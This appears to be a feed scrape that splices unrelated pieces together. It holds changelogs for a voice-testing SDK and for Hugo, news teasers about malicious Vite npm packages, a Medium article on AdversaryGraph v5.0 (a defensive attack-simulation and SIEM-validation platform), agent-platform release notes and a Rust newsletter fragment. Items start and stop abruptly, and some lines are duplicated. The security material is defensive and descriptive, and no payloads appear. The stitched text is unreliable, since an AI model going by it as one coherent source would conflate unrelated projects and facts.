Features

• #660: expose context param on scenario.judge() public API (#667) (900f3d8)
• #666: per-role voice modality negotiation — declaration-first, two-phase validation, OTEL stamps (#670) (007a69f)
• events: support LANGWATCH_PROJECT_ID via X-Project-Id header (#619) (7aec1c7)
• tracing: stamp scenario SDK name+version as trace attributes (#744) (#745) (43dd4fa)
• voice: continuous ElevenLabs mic pump + is_connected guard (#740 slice A) (#741) (b6e7f93)
• voice: harvest voice result fields on exit paths + concrete typing (#740 slice E) (#742) (439b7be)
• voice: instrument base + ElevenLabs adapter with LangWatch spans (#777) (2b32872)
• voice: instrument Gemini Live adapter with LangWatch spans (#780) (8ba8687)
• voice: instrument OpenAI Realtime adapter with LangWatch spans (#782) (3152969)
• voice: instrument Pipecat adapter + background-loop spans (#774) (67f71b1)
• voice: instrument Pipecat adapter + background-loop spans (#781) (67f71b1)
• voice: instrument Twilio adapter with LangWatch spans (#788) (8747eed)
• voice: realtime_langwatch_session context manager for live OpenAI Realtime apps (#673) (#676) (e89d00c)

Bug Fixes

• #161: re-parse criteria when LLM returns stringified JSON dict (#552) (b819849)
• #488: log voice adapter and ffmpeg disconnect failures at WARNING (#556) (86bf466)
• #655: replace brittle judge criteria with generic behavioral criteria in audio examples (#679) (732d426)
• #664: transcribe agent turns at runtime so the voice user simulator can read them (#665) (4b99682)
• #695: twilio terminal sentinel on silent/tool-only stop (dead-recv-loop hang) (#697) (e675224)
• python: derive scenario.version from package metadata (#800) (0d505a7)
• security: bump pyjwt to 2.13.0 (#677) (00807b7)
• security: bump python/uv.lock security floors (cryptography, python-multipart, starlette, python-liquid, pydantic-settings) (#685) (ee9a5d5)
• security: raise esbuild, js-yaml, and dompurify override floors across JS workspaces (#671) (c76bab2)
• security: raise vite 8.x floor to >=8.0.16 across scenario workspaces (#709) (42d877e)
• voice/#491: diagnose + resolve multi-turn @e2e suite-wedge + tighten VAD tests (#694) (2dfc381)
• voice/#498: surface recv-loop termination as attributable PipecatRecvError (#692) (c1f552c)
• voice/#648: terminal drain on non-audio completion (EL + WebSocket) (#693) (c42320e)
• voice/#662: guard #662's response.create call sites against the active-response race (JS + PY) (#669) (0968374)
• voice/ts: explicit EL ConvAI turn-commit so scripted next-turn receive re-engages (#596) (795ae8e)
• voice: guard response.create on active response in recv_audio (#659) (5e844ea)
• voice: hosted ElevenLabs single-exchange ceiling — docs + enriched timeout error (#643) (aae16be)
• voice: skip Twilio e2e fixtures on absent env, not fail (#798) (4c883d0)
• voice: terminate wait=False test drain on end-of-turn, re-enable in CI (#691) (022056d)

Documentation

• voice: drop references to a docs/proposals tree that never landed (#613) (#823) (0ef4314)

Features

• voice: instrument base + ElevenLabs adapter with LangWatch spans (#777) (2b32872)
• voice: instrument Gemini Live adapter with LangWatch spans (#780) (8ba8687)
• voice: instrument OpenAI Realtime adapter with LangWatch spans (#782) (3152969)
• voice: instrument Pipecat adapter + background-loop spans (#774) (67f71b1)
• voice: instrument Pipecat adapter + background-loop spans (#781) (67f71b1)
• voice: instrument Twilio adapter with LangWatch spans (#788) (8747eed)

Bug Fixes

• security: bump @opentelemetry sdk-node/exporter-prometheus to 0.217.0 (87d5509)
• security: bump @opentelemetry sdk-node/exporter-prometheus to 0.217.0 (with ReadableSpan migration) (#702) (87d5509)
• security: raise esbuild, js-yaml, and dompurify override floors across JS workspaces (#671) (c76bab2)

Dieser Beitrag Maliziöse Vite-npm-Packages nutzen Blockchain-C2 für RAT-Zugriff erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Read more →

The post Seven Malicious Vite npm Packages Use Blockchain C2 to Deliver a RAT appeared first on IT Security News.

• tpl/resources: Deprecate resources.PostProcess in favour of templates.Defer 29ed932 @bep #15086

Changes

• all: Rewrite deprecated constructs in tests 5a5f4a5 @bep
• tpl/tplimpl: Support sub paths in layouts passed to .Render d83ce27 @bep #15056
• Add markup.rst.syntaxHighlight option c6acc24 @bep #5349
• tpl/resources: Deprecate resources.PostProcess in favour of templates.Defer 29ed932 @bep #15086
• tpl/collections: Include key in IsSet unsupported-type warning 671897a @bejaratommy #11794
• create: Keep new content placeholders buildable 499794d @sjh9714 #15078
• hugio: Speedup hasBytesWriter 65c8217 @bep
• tpl/crypto: Add crypto.Hash dfb35dc @bep #15072
• Add encoding.HexDecode/Encode a5ec542 @bep #15068 #15060
• tpl/tplimpl: Make template name lookup case-insensitive e46d37a @jmooring #15057
• hugolib: Return error from .Render when template not found fe06735 @jmooring #15052

Dependency Updates

• build(deps): bump github.com/JohannesKaufmann/html-to-markdown/v2 921db7b @dependabot[bot]
• build(deps): bump golang.org/x/tools from 0.45.0 to 0.47.0 786ce71 @dependabot[bot]
• build(deps): bump golang.org/x/image from 0.42.0 to 0.43.0 5ad2846 @dependabot[bot]
• build(deps): bump golang.org/x/net from 0.55.0 to 0.56.0 36ad9f5 @dependabot[bot]
• build(deps): bump github.com/pelletier/go-toml/v2 from 2.4.2 to 2.4.3 7c0a0bc @dependabot[bot]
• build(deps): bump github.com/getkin/kin-openapi from 0.139.0 to 0.140.0 a879ebf @dependabot[bot]
• build(deps): bump golang.org/x/mod from 0.36.0 to 0.37.0 332d5ec @dependabot[bot]
• build(deps): bump github.com/pelletier/go-toml/v2 from 2.3.1 to 2.4.2 212cc11 @dependabot[bot]
• deps: Upgrade github.com/evanw/esbuild v0.28.0 => v0.28.1 884439b @bep #15033
• deps: Add Chroma dark/light mode support 790a8aa @bep #15017

Documentation

• markup/pandoc: Add citation support 128fb17 @jmooring #15062

Introduction

AdversaryGraph started as a practical question:

How can a security team move from threat intelligence to detection engineering without losing the evidence trail?

Most CTI workflows produce useful text, but the next steps are often manual. An analyst reads a report, extracts behaviors, maps them to MITRE ATT&CK, compares them with known actors, enriches IOCs, writes detection ideas, and then asks a detection engineer to validate whether telemetry actually exists in the SIEM.

That gap is where a lot of defensive work slows down.

AdversaryGraph v5.0 is my attempt to make that workflow more operational. It is not only a CTI visualization project. It is a self-hosted analyst workbench that connects:

• Report and telemetry analysis.
• ATT&CK technique mapping.
• Group, campaign, and report similarity.
• IOC enrichment and investigation.
• Malware analysis workflows.
• Asset attack-surface mapping.
• Attack simulation.
• SIEM forwarding and validation.
• Analyst-ready documentation and reports.

The main addition in release 5.0 is Attack Simulation: a controlled ATT&CK validation workspace where an analyst can select a technique, run approved lab scenarios, inspect target-side telemetry, forward logs to a SIEM collector, and use an AI assistant to generate coherent multi-phase attack-chain drills.

This article explains what is new in v5.0, how the architecture works, what the platform can do today, and how I expect analysts and detection engineers to use it.

Project links:

• Project landing page: https://1200km.com/adversarygraph/
• Documentation: https://1200km.com/adversarygraph-docs/
• GitHub: https://github.com/anpa1200/adversarygraph
• Release v5.0.0: https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0

Table of Contents

• Getting Started
• The Problem: CTI Often Stops Before Validation
• What AdversaryGraph Is
• Core Capabilities Before v5.0
• What Is New in v5.0
• TTP-First Simulation Workflow
• Real Lab Telemetry for Web Scenarios
• SIEM Forwarding
• AI Attack Assistant
• Coherent Kill Chains, Not Random Events
• Explain Attack
• Named Scenario Library
• Safety Boundaries
• How This Fits Detection Engineering
• Architecture Overview
• Example Use Case: Password Spray Detection
• Example Use Case: Web Recon to Exploit-Shaped Telemetry
• Example Use Case: Malware Findings to Detection Validation
• Example Use Case: Asset Inventory to Attack Surface
• What This Release Is Not
• What Makes v5.0 Different
• Getting Started
• Final Thoughts

The Problem: CTI Often Stops Before Validation

A typical CTI-to-detection workflow looks like this:

1. Read an external report, internal incident report, malware note, or intelligence summary.
2. Extract behaviors: PowerShell, scheduled tasks, credential dumping, public-facing application exploitation, exfiltration, persistence, discovery, and so on.
3. Map those behaviors to MITRE ATT&CK.
4. Compare them with known actor and campaign profiles.
5. Identify relevant IOCs.
6. Write hunting hypotheses and detection logic.
7. Ask whether the SIEM actually receives the required telemetry.
8. Test rules with sample logs, lab traffic, or purple-team activity.

The hard part is not just mapping. The hard part is preserving the chain from evidence to technique to telemetry to detection validation.

If the SIEM parser is broken, the detection will not fire.

If the event structure is wrong, the rule will not match.

If the test event is too synthetic, the validation result is misleading.

If the ATT&CK mapping is not tied back to evidence, the report becomes hard to defend.

AdversaryGraph v5.0 focuses on this full chain.

What AdversaryGraph Is

AdversaryGraph is a self-hosted CTI-to-detection platform. It combines a public research interface with a Docker-based private platform.

The public site is useful for exploration: ATT&CK matrix navigation, group research, public technique context, and project documentation.

The self-hosted platform is where private work belongs: AI-assisted report analysis, stored investigations, IOC enrichment, malware-analysis workflows, asset inventories, attack simulation, SIEM validation, and API-driven workflows.

The high-level workflow is:

1. Ingest reports, logs, IOCs, malware findings, asset inventory, or feed data.
2. Map behaviors to ATT&CK with evidence and confidence.
3. Enrich IOCs, actors, campaigns, malware families, and references.
4. Validate coverage using lab telemetry and SIEM forwarding.
5. Report findings in analyst-ready form.

Core Capabilities Before v5.0

Release 5.0 builds on a broader platform. The major existing modules are still part of the release and matter because Attack Simulation is designed to connect to them.

All capabilities here:

Platform Capabilities | AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km

AI-Assisted ATT&CK Mapping

Analysts can paste text or upload reports and ask the configured LLM provider to extract ATT&CK candidates. The platform supports multiple provider options, including Claude, OpenAI, Gemini, MiniMax, and local OpenAI-compatible gateways.

The important part is not simply “ask AI for TTPs.” The useful part is that mappings are treated as analyst-assistance data:

• Techniques are shown with evidence.
• Confidence is visible.
• Output can be reviewed before operational use.
• Extracted TTPs can be pushed into the Navigator.
• Results can be compared with groups, campaigns, and stored reports.

ATT&CK Navigator and Group Context

The Navigator is the central workspace for technique review. It supports Enterprise, Mobile, ICS, and ATLAS-style workflows. Analysts can search techniques, build layers, overlay group context, import/export layers, and move selected TTPs into comparison and reporting workflows.

This matters because many teams already think in ATT&CK, but their toolchain is split between reports, spreadsheets, diagrams, SIEM rules, and ticketing systems. AdversaryGraph tries to keep the matrix connected to the rest of the investigation.

Group, Campaign, and Report Similarity

AdversaryGraph uses TTP overlap as a way to generate hypotheses. It compares selected behavior against ingested group profiles, campaigns, and stored report libraries.

This is intentionally framed as similarity, not attribution.

TTP overlap can help prioritize research. It can suggest which actor profiles or campaigns deserve review. It is not proof that a specific actor is responsible for an intrusion.

IOC Investigation

The IOC workflow lets analysts pivot from observable data into reputation and relationship context. IPs, domains, URLs, hashes, and other observables can be investigated with feed context and ATT&CK leads.

Malware Analysis

The Malware Analysis module connects static triage, hash checks, unpacking, strings, decompilation/debug views, runtime-gated analysis, and AI summaries back to the CTI workflow.

The point is not to replace a reverse engineer. The point is to help analysts preserve malware-derived evidence and map it into ATT&CK, IOCs, and investigation outputs.

Asset Attack-Surface Mapping

AdversaryGraph can ingest asset inventory input, normalize assets, score exposure, propose likely entry points, and map asset-driven ATT&CK candidates.

This is useful when the question is not “what did the attacker do?” but “what could an attacker realistically try against my exposed environment?”

Examples:

• Public web applications.
• VPN and identity services.
• Exposed admin panels.
• Cloud assets.
• Remote management services.
• High-value internal systems.
• Scanner and CMDB exports.

What Is New in v5.0

The headline feature is Attack Simulation.

Attack Simulation is designed for defensive validation and detection engineering. It lets analysts work from a TTP-first interface, run safe simulations, inspect telemetry, and forward events to a SIEM.

This is not an exploitation framework. It does not run malware. It does not execute arbitrary commands against arbitrary user targets. It is a controlled validation workspace for authorized lab scenarios and source-shaped telemetry drills.

The v5.0 release adds:

• A new Attack Simulation workspace.
• ATT&CK-style matrix selection for runnable simulations.
• Dedicated configuration pages per selected TTP.
• Built-in lab web target for web-focused scenarios.
• Target-side real-time log viewing.
• SIEM forwarding to HTTP(S) collectors.
• Saved recent SIEM destinations.
• AI Attack Assistant.
• “Challenge Me” mode.
• Complicated multi-source attack-chain scenarios.
• 25 named coherent scenario templates.
• Attack-chain graph.
• Explain Attack panel.
• Source-shaped Windows, Sysmon, EDR, DNS, proxy, firewall, web, and WAF event generation for SIEM parser and rule validation.

TTP-First Simulation Workflow

The workflow starts with the ATT&CK matrix.

Runnable simulation cells are visible directly in the matrix, and related TTP pages can link back into the simulation workflow. This keeps the analyst oriented around ATT&CK instead of hiding simulations behind unrelated forms.

The basic flow is:

1. Open Attack Simulation.
2. Choose a TTP from the matrix.
3. Open the dedicated simulation page.
4. Review what the scenario does.
5. Review telemetry source and event structure.
6. Run the lab scenario or AI-assisted telemetry drill.
7. Inspect logs in real time.
8. Forward selected logs to the SIEM.
9. Confirm whether detections fired.
10. Record validation gaps.

Each scenario explains:

• What happens.
• What adversary behavior is represented.
• Which system emits telemetry.
• Which event structures are expected.
• What the detection should focus on.
• Which telemetry is production-like and which is a lab canary.
• What the validation gaps are.

That explanation is important. A simulation without context is just noise. A simulation with context becomes a detection-engineering exercise.

Real Lab Telemetry for Web Scenarios

One major design goal was to avoid fake “log generation” for web scenarios where a real lab target can safely produce logs.

For web-focused simulations, the Docker deployment includes an attack-lab-web target. The AdversaryGraph API sends real HTTP requests to that lab web server over the Docker network. The target server writes its own logs.

The analyst can then inspect real target-side telemetry such as:

• NGINX access logs.
• NGINX error logs.
• Application authentication logs.
• WAF/security-style logs.
• Structured web JSONL telemetry.
• Run-specific JSONL logs.
• Merged attacked-server events.

This is different from simply printing a row that looks like an access log. The request is sent to the lab server, and the server emits the log.

Supported web-focused scenarios include:

• HTTP and TLS service fingerprinting.
• Public application probing.
• Path discovery.
• Sensitive file and configuration path access.
• Directory traversal canaries.
• SQL injection-shaped requests.
• XSS-shaped requests.
• SSRF-shaped requests.
• Command-injection-shaped requests.
• Web-shell access canaries.
• Upload and download scenarios.
• Failed-login flows.
• Brute-force patterns.
• Password spray.
• User enumeration.
• Beacon-like web traffic.
• Exfiltration-shaped traffic.

The key phrase is “attack-shaped canary.” The goal is to generate realistic defensive telemetry without exploiting a real target or executing harmful payloads.

SIEM Forwarding

Validation is incomplete if the event never reaches the SIEM.

The v5.0 SIEM forwarding panel sends selected Attack Simulation telemetry to HTTP(S) collectors. This can be used with Logstash HTTP input, Splunk HEC-style collectors, XpoLog/Logeye listeners, or custom webhook receivers.

Supported controls include:

• Full URL or raw host:port/path destination.
• Direct destination mode.
• Docker host gateway routing.
• Automatic route selection.
• Raw original line per request.
• JSON event per request.
• JSON Lines.
• Batch envelope.
• No auth.
• Bearer token auth.
• Token auth.
• Basic auth.
• Custom token header.
• Source selection: access, auth, endpoint, WAF/security, error, structured JSONL, run JSONL, or all attacked-server events.

The platform also keeps the last 10 non-secret SIEM destinations for reuse. This is useful during repeated parser testing, rule tuning, and dashboard validation.

Credentials are not stored as part of the saved destination history. The saved address is intended to reduce typing friction, not to become a secret store.

AI Attack Assistant

The AI Attack Assistant is one of the main additions in v5.0.

It helps generate detection-engineering drills by building correlated telemetry stories around selected behavior.

The assistant supports three modes:

1. Selected TTP: generate a focused validation flow around the technique currently selected in the Attack Simulation page.
2. Threat actor: generate a scenario inspired by a threat actor’s known behavior and ATT&CK profile.
3. Challenge Me: generate a blind multi-phase detection challenge for the analyst.

There is also a Complicated attack option. When enabled, the assistant builds longer multi-source flows across telemetry types such as:

• Windows Security Event Log.
• Sysmon.
• EDR process and file telemetry.
• DNS logs.
• Proxy logs.
• Firewall traffic logs.
• Web access logs.
• WAF/security logs.
• Authentication logs.

The goal is not to normalize everything into one generic schema. For complicated scenarios, the assistant should preserve source/vendor-shaped event patterns so the SIEM parser and rule logic are tested more realistically.

Coherent Kill Chains, Not Random Events

A detection drill should not be a random list of suspicious events.

In v5.0, complicated scenarios are built as coherent attack chains. The chain has ordered phases, each phase has a reason, and each phase emits events that should correlate with the surrounding activity.

For example, a password-spray-to-foothold scenario may include:

1. Username enumeration.
2. Multiple failed authentication attempts.
3. One successful logon after failures.
4. Endpoint discovery from the authenticated host.
5. Suspicious tool transfer.
6. Persistence or lateral discovery.

That is much more useful than a single failed-login event.

The Attack Chain Graph makes this visible.

Each phase can show:

• Phase number.
• ATT&CK technique.
• Telemetry source.
• Event format.
• Event count.
• Detection goal.
• Supporting tags.

This helps the analyst understand whether the generated activity is a plausible kill chain or just a bag of indicators.

Explain Attack

When “Challenge Me” or a complex AI-generated scenario is used, the platform includes an Explain Attack action.

This panel explains:

• What the scenario is trying to simulate.
• Why each phase appears in the chain.
• Which telemetry sources matter.
• What the analyst should search for.
• What detections should fire.
• Which false positives or tuning points should be considered.
• What success criteria should be used.

This is useful for training and validation. It turns generated events into an exercise that a SOC analyst, detection engineer, or CTI analyst can actually follow.

Named Scenario Library

Release 5.0 includes a library of named coherent scenarios.

Examples include:

• Web App to Endpoint Compromise.
• Password Spray to Valid Account Foothold.
• SQL Injection to Data Theft.
• Recon to Web Shell Persistence.
• Valid Account to LSASS Access.
• Password Spray to Exfiltration.
• XSS Canary to Session Abuse.
• SSRF Metadata Probe to C2.
• Ransomware Precursor Chain.
• Living-off-the-Land Transfer and Execution.
• Internal Discovery After Foothold.
• Web Enumeration to Password Spray.
• Public App Exploit to Persistence.
• Credential Dump to Cloud Upload.
• Signed Binary Proxy to C2.
• FIN7-style web, identity, and persistence flow.
• APT29-style identity and PowerShell flow.
• Lazarus-style delivery and exfiltration flow.
• Noisy red-team drill.
• Stealthy low-volume intrusion chain.
• WAF bypass retry chain.
• Service account abuse.
• External recon to credential access.
• C2 telemetry validation.
• Persistence control validation.

These are not meant to prove that a real actor attacked you. They are templates for detection validation and training. They help answer questions like:

• Does my SIEM parse this source?
• Does my correlation rule see the sequence?
• Does the detection alert only on one event or on the chain?
• Can analysts reconstruct the story from logs?
• Which telemetry source is missing?
• Where do false positives appear?

Safety Boundaries

Attack Simulation must be safe by design.

The v5.0 module follows several boundaries:

• It does not execute malware.
• It does not run arbitrary commands.
• It does not exploit arbitrary external targets.
• Web simulation traffic is limited to predefined benign canaries against the local lab target.
• SIEM forwarding sends generated Attack Simulation telemetry.
• Unsafe URL schemes and metadata/link-local destinations are blocked.
• Credentials used for forwarding are used only for the current request and are not stored.

This matters because the target user is a defender. The feature is built for detection engineering, parser validation, SOC drills, and authorized lab workflows.

How This Fits Detection Engineering

Detection engineering is not only writing rules. It is a lifecycle:

1. Understand the adversary behavior.
2. Map it to ATT&CK or another behavior model.
3. Identify required telemetry.
4. Confirm that telemetry exists.
5. Confirm that parsing works.
6. Write detection logic.
7. Test the logic with realistic events.
8. Tune false positives.
9. Document assumptions and gaps.
10. Re-test when infrastructure or parsers change.

AdversaryGraph v5.0 tries to support this lifecycle directly.

The CTI modules help with steps 1 and 2.

IOC and malware modules help enrich the investigation context.

Asset attack-surface mapping helps identify relevant entry points.

Attack Simulation helps with steps 3 through 8.

Reports and docs help with steps 9 and 10.

Architecture Overview

The self-hosted platform is built around a browser frontend and API backend.

At a high level:

• Frontend: React/Vite user interface.
• Backend: FastAPI service.
• Database: PostgreSQL for stored investigations and platform data.
• Background jobs: Redis/Celery where needed.
• ATT&CK data: synchronized from MITRE sources.
• AI providers: operator-configured providers such as Claude, OpenAI, Gemini, MiniMax, or local OpenAI-compatible services.
• Malware workflow: MalwareGraph-backed analysis components.
• Attack lab: Docker-based target services for controlled telemetry generation.
• SIEM forwarding: HTTP(S) delivery to configured collectors.

For the v5.0 web simulation flow, the important architectural distinction is:

AdversaryGraph does not simply invent an access log line for the UI. It sends real HTTP requests to the lab web target, and the lab web target emits server-side logs.

For AI-generated complicated scenarios, the goal is different. The assistant generates source-shaped telemetry for SIEM parser and detection validation. This is not proof of compromise, and it is not a replacement for live lab execution. It is a defensive validation tool for testing ingestion, parsers, correlation, dashboards, and analyst workflows.

Example Use Case: Password Spray Detection

A common detection engineering task is password spray validation.

The analyst wants to know:

• Do we ingest authentication failures?
• Are usernames parsed correctly?
• Can we count failures across many users?
• Can we detect one source trying one password against many accounts?
• Can we correlate a later successful login?
• Can we connect the successful login to endpoint activity?

With AdversaryGraph v5.0, the workflow becomes:

1. Select a credential-access or brute-force related TTP.
2. Choose the password spray scenario.
3. Run the lab or AI-assisted flow.
4. Observe authentication-related events.
5. Forward the events to the SIEM.
6. Confirm the parser.
7. Confirm the rule.
8. Review the chain graph.
9. Use Explain Attack to document what should have happened.
10. Record gaps.

The important part is the chain. A single 4625-like event is not enough. A realistic validation should include many failures, many users, timing, source consistency, and possibly one later success.

Example Use Case: Web Recon to Exploit-Shaped Telemetry

For a web application detection scenario, the analyst may want to test:

• Path discovery.
• Sensitive file probing.
• SQL injection-shaped requests.
• XSS-shaped requests.
• SSRF-shaped requests.
• WAF canary classification.
• Access-log parser behavior.
• SIEM dashboards for web attacks.

AdversaryGraph can run approved web canaries against the lab web target, then show the real target-side logs in the UI.

This lets the detection engineer validate more than a rule. It validates whether the web tier emits usable logs and whether the SIEM receives enough context to detect the behavior.

Example Use Case: Malware Findings to Detection Validation

The malware module can produce findings such as:

• Suspicious imports.
• Strings.
• Packed sample indicators.
• Function-level behavior.
• Potential IOCs.
• ATT&CK candidates.
• AI-assisted summaries.

Those findings can feed detection engineering:

• Which API calls should we monitor?
• Which command lines or process patterns matter?
• Which persistence mechanisms appear?
• Which network indicators are useful?
• Which behaviors should become validation scenarios?

AdversaryGraph’s value is that malware findings do not stay isolated in a reverse-engineering note. They can be connected back to ATT&CK and validation planning.

Example Use Case: Asset Inventory to Attack Surface

Asset inventories often live in spreadsheets, CMDB exports, or scanner output. The security team may know what exists, but not how to translate that into likely ATT&CK entry points.

The Asset Attack Surface module helps with:

• Normalizing assets.
• Identifying exposed services.
• Scoring exposure.
• Mapping likely entry points.
• Proposing ATT&CK candidates.
• Creating saved cases.

This connects directly to Attack Simulation because a high-risk public web application or VPN service should map to validation scenarios around external discovery, exploitation attempts, credential attacks, and logging coverage.

What This Release Is Not

It is important to define what v5.0 is not.

It is not an autonomous attack platform.

It is not a malware execution system.

It is not a replacement for a full cyber range.

It is not attribution proof.

It is not a guarantee that a detection works in production.

It is an analyst-assistance and validation platform. Its output should be reviewed by qualified analysts and detection engineers before operational use.

What Makes v5.0 Different

The main difference is the connection between CTI and validation.

Many tools stop at one of these points:

• Visualize ATT&CK.
• Extract TTPs.
• Store IOCs.
• Generate sample logs.
• Run a lab attack.
• Forward events.

AdversaryGraph tries to connect these into one workflow:

1. Understand the behavior.
2. Map it.
3. Enrich it.
4. Simulate it safely.
5. Observe telemetry.
6. Send it to the SIEM.
7. Explain what happened.
8. Document what passed and what failed.

That is the direction I want the platform to continue moving.

Getting Started

If you want to explore the public interface:

AdversaryGraph Web - Public ATT&CK Workspace for AdversaryGraph | 1200km

If you want the full private platform:

git clone https://github.com/anpa1200/adversarygraph.git
cd adversarygraph
cp .env.example .env
docker compose up

Then open:

http://localhost:3000

Read the full documentation here:

AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km

Attack Simulation guide:

Attack Simulation | AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km

Project page:

AdversaryGraph AI - CTI-to-Detection Platform

GitHub release:

Release AdversaryGraph v5.0.0 · anpa1200/adversarygraph

Final Thoughts

AdversaryGraph v5.0 is a step toward a more complete CTI-to-detection workflow.

The platform is still built around a simple idea: intelligence should not end as a static report. It should become a mapped, enriched, validated, and explainable defensive workflow.

With Attack Simulation, SIEM forwarding, real lab telemetry, AI-assisted scenario generation, and attack-chain explanation, v5.0 moves AdversaryGraph closer to that goal.

The next challenge is to continue improving realism: more telemetry sources, more lab targets, better parser validation, stronger scenario libraries, and deeper connections between malware analysis, asset exposure, and detection engineering.

If you work in CTI, SOC operations, detection engineering, malware analysis, or purple-team validation, I would be glad to hear feedback.

Project:

https://github.com/anpa1200/adversarygraph

Documentation:

https://1200km.com/adversarygraph-docs/

Live workspace:

AdversaryGraph Web - Public ATT&CK Workspace for AdversaryGraph | 1200km

Main page:

Andrey Pautov - CTI & Detection Engineering

AdversaryGraph v5.0: From CTI Mapping to Attack Simulation and SIEM Validation was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

⚠ BREAKING CHANGES

• voice: the EL adapter's SDK migration removes the public WebSocketLike test-seam type (superseded by the SDK's own WebSocketFactory). Niche, but note it for the version bump.

Bug Fixes

• security: raise vite 8.x floor to >=8.0.16 across scenario workspaces (#709) (42d877e)
• voice: real voice-in by default for hosted ElevenLabs ConvAI (#707) (267426b)

Highlights

• Channel delivery is tighter across Slack, Telegram, outbound media, silent replies, progress drafts, and paged action results: same-channel Slack finals persist in transcripts, top-level image message-tool sends attach media, expandable Telegram blockquotes and spooled replay survive delivery, explicit silent assistant replies stay silent, progress draft startup failures are reported, and channel action result pages can be fetched incrementally. (#92498, #92407, #92416, #92281, #92073, #92083, #88993) Thanks @TurboTheTurtle, @ichirokyoto, @xydigit-sj, @joshavant, @sallyom, @hansraj316, and @fuller-stack-dev.
• Provider and model handling is more resilient: Kimi K2.7 Code is available, Kimi native tool-call ids and replayed reasoning_content are repaired, Mistral skips unreadable tool schemas, Fireworks catalog parameters come from manifests, DeepSeek keeps configured static transport, provider fallbacks resolve correctly, Anthropic thinking replay is repaired, and Anthropic Vertex stops re-marking transport-budgeted cache control. (#92554, #92396, #90242, #90326, #92265, #92293, #92286, #92387) Thanks @xialonglee, @vincentkoc, @obuchowski, @joshavant, and @openperf.
• User-visible context and auth boundaries are safer: Feishu no longer leaks prompt-preface runtime context into replies, WebSocket payload handling is hardened, CLI-backed /btw fallback fails closed, local setup trust is hardened, and Skill Workshop symlink writes are gated and validated before rollback metadata is written. (#92589, #92593, #92226, #92175) Thanks @jovi2014-cyber, @zhangqueping, and @joshavant.
• Agent, memory, Codex, cron, and update recovery paths preserve the useful failure now: invalid plugin model catalogs are isolated, QMD startup failures survive fallback errors, Codex memory prompts remain registered, source message tool replies no longer stop agent progress, structured unsupported-model errors are classified, heartbeat/cron terminal state is preserved, Linux service updates hand off cleanly, and cron status reports the SQLite store path. (#92564, #92218, #92618, #92350, #92343, #92280, #92231, #92225, #92144) Thanks @tangtaizong666, @zhbcher, @mushuiyu886, @rubencu, @joshavant, and @liuhao1024.
• UI, docs, QA, Docker, and release proof are easier to trust: accessibility contrast/focus/font fixes landed, empty Workboard columns can hide, the design-system docs are documented, uptime monitors are pointed at /health, Windows Hub docs pin the verified stable installer links, QA evidence and scorecard taxonomy artifacts are produced, QA Lab is bundled into Docker images, and lifecycle timeout cleanup survives leader exit. (#89822, #89615, #89827, #55768, #92608, #92605, #91484, #91500, #92087, #92566) Thanks @BunsDev, @faahim, @liuhao1024, @lzyyzznl, @RomneyDa, and @jesse-merhi.

Changes

• QA and release validation now emit scorecard taxonomy and evidence artifacts, split plugin ClawHub publishing paths, use trusted plugin npm publishing, keep plugin publish checks authoritative, and align the root package, publishable plugin manifests, generated baselines, and native app versions for the 2026.6.7 beta train. (#91484, #91500) Thanks @RomneyDa.
• Docs and operator guidance now cover Gateway uptime monitoring, design-system guidance, Windows Hub stable download pins, removed stale ClawHub navigation, WhatsApp inbound compatibility, and doctor/update progress behavior. (#55768, #92608, #89827, #92605) Thanks @faahim, @liuhao1024, @BunsDev, and @lzyyzznl.
• Matrix plugin release metadata is aligned with the core beta train and records the version-alignment changelog entry for package publication.

Fixes

• Channels and outbound flows preserve user intent across Slack transcript mirrors, Telegram polling conflicts and transient draft-preview failures, outbound image sends, explicit silent assistant replies, progress-draft startup errors, paged action results, WhatsApp inbound aliases, local setup trust, and heartbeat commitment delivery. (#92498, #92281, #92407, #92416, #92073, #92083, #88993, #92175, #92231) Thanks @TurboTheTurtle, @joshavant, @ichirokyoto, @xydigit-sj, @sallyom, @hansraj316, and @fuller-stack-dev.
• Provider, model, and tool replay fixes cover unreadable Mistral schemas, Fireworks manifest model parameters, Kimi K2.7 Code/tool-call/reasoning replay, DeepSeek transport inheritance, managed SecretRef auth, static model fallbacks, rejected Anthropic thinking replay, Anthropic Vertex cache control, and OTLP trace correlation. (#90242, #90326, #92554, #92396, #92265, #92235, #92293, #92286, #92387, #92276) Thanks @vincentkoc, @obuchowski, @xialonglee, @joshavant, and @openperf.
• Agent/runtime recovery now isolates invalid plugin model catalogs, preserves Codex memory prompt registration, continues after source message tool replies, classifies structured unsupported-model errors, reports QMD startup failures beside fallback errors, preserves cron timeout/cancel state, keeps disabled heartbeat one-shot retries working, and keeps Linux service auto-updates readable and handed off. (#92564, #92350, #92343, #92280, #92218, #92618, #92225, #92282, #92144) Thanks @tangtaizong666, @rubencu, @joshavant, @zhbcher, @mushuiyu886, and @liuhao1024.
• Install, sandbox, doctor, and security surfaces render CLI skill prompts from materialized paths, fail closed for CLI-backed /btw, resolve doctor SecretRef previews, diagnose blocked external channel plugins, validate and gate Skill Workshop symlink writes, stop after failed Node package installs, and keep unsupported daemon service status readable. (#92508, #92226, #92229, #86629) Thanks @brokemac79, @joshavant, and @brokemac79.
• Release, CI, E2E, Docker, and dependency gates keep lifecycle timeout cleanup alive, bundle QA Lab runtime in Docker images, update the esbuild audit pin, harden Docker process cleanup, keep plugin publish checks authoritative, and remove noisy redundant proof scripts so release failures stay bounded. (#92566, #92087, #92540) Thanks @RomneyDa and @jesse-merhi.

This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org. If you find any errors in this week's issue, please submit a PR.

Want TWIR in your inbox? Subscribe here.

Updates from Rust Community

Official

• How Josh helps Rust manage code across multiple repositories
• Maintainer spotlight: Tiffany Pek Yuan (@tiif)

Newsletters

• This Month in Rust OSDev: May 2026
• The Embedded Rustacean Issue #73

Project/Tooling Updates

• Announcing stdx, Rust's extended standard library
• OmniScope 0.2.0 released:FFI static detection tool based on LLVM IR
• Announcing Asterinas 0.18.0
• Oryxis SSH 0.8: split panes
• Ratatui 0.30.1 is released - a Rust library for cooking up terminal user interfaces
• @utoo/pack: A Next-Generation Build Tool Based on Turbopack
• Pico de Gallo - a USB-attached protocol bridge for developing embedded-hal drivers on your laptop
• kache 0.5.0: designing a correct compile-cache key
• Announcing smb2: a very fast pure-Rust SMB2/3 client

